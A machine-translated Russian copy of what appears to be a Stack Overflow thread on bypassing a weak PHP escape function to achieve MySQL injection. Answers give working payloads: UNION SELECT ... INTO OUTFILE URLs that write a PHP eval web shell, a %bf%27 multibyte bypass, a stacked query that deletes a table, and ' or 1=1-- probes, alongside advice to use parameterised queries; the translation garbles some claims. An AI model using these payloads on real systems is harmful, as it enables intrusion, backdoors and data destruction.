Найден слабая функция выхода для MySql, как использовать?
В приложении, над которым я работаю, я обнаружил слабую функцию выхода, чтобы предотвратить инъекцию. Я пытаюсь доказать это, но у меня возникли проблемы с простым примером.
Функция escape работает следующим образом (пример PHP).
function escape($value) {
$value = str_replace("'","''",$value);
$value = str_replace("\\","\\\\",$value);
return $value;
}
Я понимаю, что это не касается значений, закодированных с использованием двойных кавычек ("), но все запросы строятся с использованием одинарных кавычек (').
Кто может победить эту функцию эвакуации?
Требования:
- Строка в запросах всегда заключена в кавычки.
- Двойные кавычки никогда не используются.
- Соединение с MySQL установлено на UTF8.
Простые примеры:
$sql = "SELECT id FROM users WHERE username = '" . escape($username) . "' AND password = '" . escape($password) . "'";
$sql = "UPDATE users SET email = '" . escape($email) . "' WHERE id = '" . escape($id) . "'";
Ответы
Ответ 1
Если вы просто заменяете '
на ''
, тогда вы можете использовать это, введя \'
, который превратится в \''
, и это позволит вам вырваться из-за того, это дает вам "буквенную букву" одинарной кавычки и реальную одиночную кавычку. Однако замена "\\"
на "\\\\"
отменяет эту атаку. Двухцилиндровая кавычка используется для "избежания" одиночных кавычек для MS-SQL, но это не подходит для MySQL, но она может работать.
Следующие коды доказывают, что эта функция эвакуации безопасна для всех, кроме трех условий. Этот код переносит все возможные варианты управляющих чартеров и проверяет их, чтобы убедиться, что ошибка не возникает с помощью оператора select с отдельной цитатой. Этот код был протестирован на MySQL 5.1.41.
<?php
mysql_connect("localhost",'root','');
function escape($value) {
$value = str_replace("'","''",$value);
$value = str_replace("\\","\\\\",$value);
return $value;
}
$chars=array("'","\\","\0","a");
for($w=0;$w<4;$w++){
for($x=0;$x<4;$x++){
for($y=0;$y<4;$y++){
for($z=0;$z<4;$z++){
mysql_query("select '".escape($chars[$w].$chars[$x].$chars[$y].$chars[$z])."'") or die("!!!! $w $x $y $z ".mysql_error());
}
}
}
}
print "Escape function is safe :(";
?>
Уязвимое состояние 1: никакие кавычки не используются.
mysql_query("select username from users where id=".escape($_GET['id']));
Exploit:
http://localhost/sqli_test.php?id=union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php"
Уязвимое состояние 2: используемые двойные кавычки
mysql_query("select username from users where id=\"".escape($_GET['id'])."\"");
Exploit:
http://localhost/sqli_test.php?id=" union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php" -- 1
Уязвимое условие 2: используются одиночные кавычки, однако используется альтернативный набор символов
Exploit:
http://localhost/sqli_test.php?id=%bf%27 union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php" -- 1
Вывод заключается в том, чтобы всегда использовать mysql_real_escape_string()
как управляющую процедуру для MySQL. Параметрированные библиотеки запросов, такие как pdo и adodb, всегда используют mysql_real_escape_string()
при подключении к базе данных mysql. addslashes()
FAR BETTER управляющей процедуры, потому что он заботится о уязвимом состоянии 2. Следует отметить, что даже не mysql_real_escape_string()
остановит условие 1, однако параметризованная библиотека запросов будет.
Ответ 2
В самом деле, вы могли бы попробовать что-то с UNION SELECT
shop.php? ProductID = 322
= >
shop.php? productid = 322 UNION SELECT 1,2,3 ОТ пользователей ГДЕ 1; -
Отображение информации из других таблиц.
Конечно, вам нужно будет изменить имя таблицы и числа внутри UNION SELECT, чтобы соответствовать количеству столбцов, которые у вас есть. Это популярный способ извлечения данных, таких как имена пользователей и пароли администратора.
Ответ 3
Функция escape не обрабатывает многобайтовые символы. Проверьте http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string, чтобы узнать, как использовать эту функцию escape.
Получайте удовольствие от взлома базы данных!
Ответ 4
Как насчет обращения с цифрами?
shop.php?productid=322
становится
SELECT * FROM [Products] WHERE productid=322
shop.php?productid=322; delete from products;--
становится
SELECT * FROM [Products] WHERE productid=322; delete from products;--
(Не все запросы построены с одинарными кавычками и строками)
Ответ 5
Поскольку вы используете UTF-8 в качестве кодировки, это может быть уязвимым для чередующейся последовательности UTF-8. Апострофный символ ('), обычно закодированный как 0x27, может быть закодирован как последовательность перекрытия 0xc0 0xa7 (URL-кодировка:% c0% a7). Функция escape будет пропустить это, но MySQL может интерпретировать ее таким образом, что вызывает SQL-инъекцию.
Как уже упоминалось, вам действительно нужно использовать mysql_real_escape_string
как минимум (легкое исправление в вашем случае), которое должно обрабатывать кодировку символов и другие проблемы для вас. Предпочтительно перейти к использованию подготовленных операторов.
Ответ 6
Я никогда не использовал PHP, однако не можете ли вы использовать вызовы с хранимой процедурой вместо прямых операторов SQL? Похоже, что это лучшая защита от SQL-инъекций, чем попытка использовать функцию escape.
Однако функция escape будет полезной против вредоносного javascript.
Ответ 7
как насчет...
\' or 1=1--
Которое должно быть расширено до:
\'' or 1=1--
Поэтому, используя его для id в следующем запросе...
$sql = "UPDATE users SET email = '" . escape($email) . "' WHERE id = '" . escape($id) . "'";
должно получиться:
$sql = "UPDATE users SET email = '<whatever>' WHERE id = '\'' or 1=1--';